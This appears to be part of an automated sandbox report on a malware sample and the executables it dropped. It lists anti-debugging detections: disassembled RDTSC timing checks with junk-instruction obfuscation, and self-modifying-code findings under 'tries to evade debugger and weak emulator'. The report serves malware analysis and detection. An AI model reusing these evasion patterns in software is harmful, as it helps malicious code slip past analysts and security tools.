Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B4D7 second address: F5B4E4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD1CCFA088h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B4E4 second address: F5B4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B663 second address: F5B68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FAD1CCFA08Ch 0x0000000b jl 00007FAD1CCFA086h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD1CCFA096h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5C102 second address: F5C153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b jc 00007FAD1D201C31h 0x00000011 jmp 00007FAD1D201C2Bh 0x00000016 pop eax 0x00000017 pushad 0x00000018 js 00007FAD1D201C28h 0x0000001e push edx 0x0000001f pop edx 0x00000020 jmp 00007FAD1D201C2Fh 0x00000025 pushad 0x00000026 push edx 0x00000027 pop edx 0x00000028 jmp 00007FAD1D201C2Eh 0x0000002d jne 00007FAD1D201C26h 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5C26F second address: F5C273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5E2AF second address: F5E2B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F63356 second address: F6336D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jnc 00007FAD1CCFA08Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6336D second address: F6338B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a jmp 00007FAD1D201C2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FAD1D201C26h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F63419 second address: F6343A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 je 00007FAD1CCFA08Ah 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jc 00007FAD1CCFA086h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6343A second address: F6343F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6343F second address: F63449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FAD1CCFA086h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F67C72 second address: F67C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F67C7A second address: F67C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA093h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F2DA87 second address: F2DA93 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FAD1D201C26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F674BE second address: F674C8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD1CCFA086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F674C8 second address: F674D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F674D1 second address: F674D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6796C second address: F67972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6995C second address: F69972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007FAD1CCFA098h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FAD1CCFA086h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F69D76 second address: F69D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F69D7A second address: F69D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F69D80 second address: F69D8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F69D8A second address: F69D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A081 second address: F6A091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C2Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A710 second address: F6A720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A720 second address: F6A743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD1D201C30h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A743 second address: F6A748 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A8AC second address: F6A8CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6A8CF second address: F6A8D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6D2A3 second address: F6D2C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAD1D201C2Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD1D201C2Bh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F6D2C9 second address: F6D2CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F73548 second address: F73564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD1D201C37h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F71DF9 second address: F71E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAD1CCFA086h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F2A365 second address: F2A369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F75C70 second address: F75C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1CCFA099h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F75C8D second address: F75C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F75C91 second address: F75D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FAD1CCFA096h 0x0000000e nop 0x0000000f mov ebx, 7E0772D3h 0x00000014 jmp 00007FAD1CCFA092h 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D2FD4h], esi 0x00000021 je 00007FAD1CCFA08Eh 0x00000027 pushad 0x00000028 movzx esi, si 0x0000002b movsx ebx, di 0x0000002e popad 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FAD1CCFA088h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b and bh, FFFFFFF5h 0x0000004e xchg eax, esi 0x0000004f js 00007FAD1CCFA098h 0x00000055 jmp 00007FAD1CCFA092h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d je 00007FAD1CCFA08Ch 0x00000063 jc 00007FAD1CCFA086h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F75D2E second address: F75D33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F76B87 second address: F76B99 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FAD1CCFA08Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F76B99 second address: F76C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FAD1D201C2Fh 0x0000000c pushad 0x0000000d jl 00007FAD1D201C26h 0x00000013 jnc 00007FAD1D201C26h 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FAD1D201C28h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 sub edi, dword ptr [ebp+122D2AC9h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007FAD1D201C28h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 0000001Bh 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 push 00000000h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FAD1D201C2Bh 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F77AF3 second address: F77AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F77AF7 second address: F77AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F78BD7 second address: F78BDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F77C7D second address: F77D12 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD1D201C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FAD1D201C35h 0x00000013 or ebx, 13CED890h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov dword ptr [ebp+122D20DDh], edi 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FAD1D201C28h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov eax, dword ptr [ebp+122D0D55h] 0x0000004d mov bx, ax 0x00000050 push FFFFFFFFh 0x00000052 xor ebx, dword ptr [ebp+122D2A45h] 0x00000058 nop 0x00000059 push ebx 0x0000005a push eax 0x0000005b jmp 00007FAD1D201C2Eh 0x00000060 pop eax 0x00000061 pop ebx 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FAD1D201C2Fh 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F78D3E second address: F78DF8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FAD1CCFA098h 0x00000012 jmp 00007FAD1CCFA096h 0x00000017 popad 0x00000018 nop 0x00000019 add di, 807Ah 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov ebx, dword ptr [ebp+122D3983h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FAD1CCFA088h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D1AF6h], esi 0x00000052 mov eax, dword ptr [ebp+122D0349h] 0x00000058 push 00000000h 0x0000005a push ebp 0x0000005b call 00007FAD1CCFA088h 0x00000060 pop ebp 0x00000061 mov dword ptr [esp+04h], ebp 0x00000065 add dword ptr [esp+04h], 00000018h 0x0000006d inc ebp 0x0000006e push ebp 0x0000006f ret 0x00000070 pop ebp 0x00000071 ret 0x00000072 mov bh, 34h 0x00000074 push FFFFFFFFh 0x00000076 mov ebx, dword ptr [ebp+1244A14Bh] 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007FAD1CCFA08Ch 0x00000084 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7D050 second address: F7D056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7D056 second address: F7D05A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7F135 second address: F7F139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7F139 second address: F7F13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7F13D second address: F7F143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F7F143 second address: F7F155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1CCFA08Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F8014C second address: F80170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F80170 second address: F8017A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F8204F second address: F82057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F8316C second address: F8317D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F8317D second address: F831FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jne 00007FAD1D201C26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FAD1D201C38h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FAD1D201C28h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FAD1D201C28h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e add dword ptr [ebp+12455976h], esi 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push esi 0x00000058 js 00007FAD1D201C26h 0x0000005e pop esi 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F8337E second address: F83383 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F855C5 second address: F855DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FAD1D201C28h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F86770 second address: F8677A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAD1CCFA086h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EDEEEA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EDF000 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1080AC7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EDEF08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Special instruction interceptor: First address: DBEB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Special instruction interceptor: First address: F61E5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Special instruction interceptor: First address: DBC48E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DDEB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F81E5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DDC48E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Special instruction interceptor: First address: AEEEEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Special instruction interceptor: First address: AEF000 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Special instruction interceptor: First address: C90AC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Special instruction interceptor: First address: AEEF08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Special instruction interceptor: First address: B3DD49 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Special instruction interceptor: First address: CE2A65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Special instruction interceptor: First address: D6E7EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: EEDE26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: 10B4723 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: 108EFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: EEDD51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: 111E6C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Special instruction interceptor: First address: 26EB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Special instruction interceptor: First address: 411E5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Special instruction interceptor: First address: 26C48E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Special instruction interceptor: First address: EF5D83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: D2DE26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: EF4723 instructions caused by: Self-modifying code
